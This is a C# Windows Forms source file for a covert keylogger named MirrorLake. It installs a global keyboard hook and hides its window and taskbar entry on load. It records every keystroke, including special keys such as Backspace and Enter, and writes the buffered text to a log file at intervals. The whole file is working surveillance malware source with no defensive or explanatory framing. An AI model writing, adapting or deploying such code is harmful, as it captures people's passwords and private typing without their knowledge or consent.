﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.IO;
using System.Runtime.InteropServices;
using System.Diagnostics;
using MoonLight.LibCommon;

namespace MirrorLake
{
    public partial class MainForm : Form
    {
        public MainForm()
        {
            InitializeComponent();
            Logger.SetLogPath(Application.StartupPath + @"\MirrorLake");
            hook.KeyPress += new KeyPressEventHandler(hook_KeyPress);
            hook.Start(false, true);
        }

        ~MainForm()
        {
            hook.Stop();
        }

        private void MainForm_Load(object sender, EventArgs e)
        {
            this.Hide();
            this.ShowInTaskbar = false;
        }

        private void hook_KeyPress(object sender, KeyPressEventArgs e)
        {
            switch ((int)e.KeyChar)
            {
                case (int)Keys.Back: AddStringToBuffer("[Backspace]"); break;
                case (int)Keys.Delete: AddStringToBuffer("[Delete]"); break;
                case (int)Keys.Up: AddStringToBuffer("[Up]"); break;
                case (int)Keys.Down: AddStringToBuffer("[Down]"); break;
                case (int)Keys.Left: AddStringToBuffer("[Left]"); break;
                case (int)Keys.Right: AddStringToBuffer("[Right]"); break;
                case (int)Keys.Enter: AddStringToBuffer("[Enter]"); break;
                default: AddCharToBuffer(e.KeyChar); break;
            }
        }

        public void AddStringToBuffer(String str)
        {
            lock (keyBuffer)
            {
                if (Flush2File())
                {
                    keyBuffer.Remove(0, keyBuffer.Length);
                }
                keyBuffer.Append(str);
            }
        }

        public void AddCharToBuffer(char c)
        {
            lock (keyBuffer)
            {
                if (Flush2File())
                {
                    keyBuffer.Remove(0, keyBuffer.Length);
                }
                keyBuffer.Append(c);
            }
        }

        private bool Flush2File()
        {
            bool result = false;
            if (lastLogDate.AddMinutes(1).CompareTo(DateTime.Now) < 0)
            {
                try
                {
                    Logger.WriteLog("keybuffer[" + keyBuffer.ToString() + "]");
                    result = true;
                }
                catch (Exception ex)
                {
                    Logger.WriteLog(ex.Message);
                }
            }
            lastLogDate = DateTime.Now;
            return result;
        }

        private StringBuilder keyBuffer = new StringBuilder();
        private DateTime lastLogDate = DateTime.Now;
        private UserActivityHook hook = new UserActivityHook();
    }


}
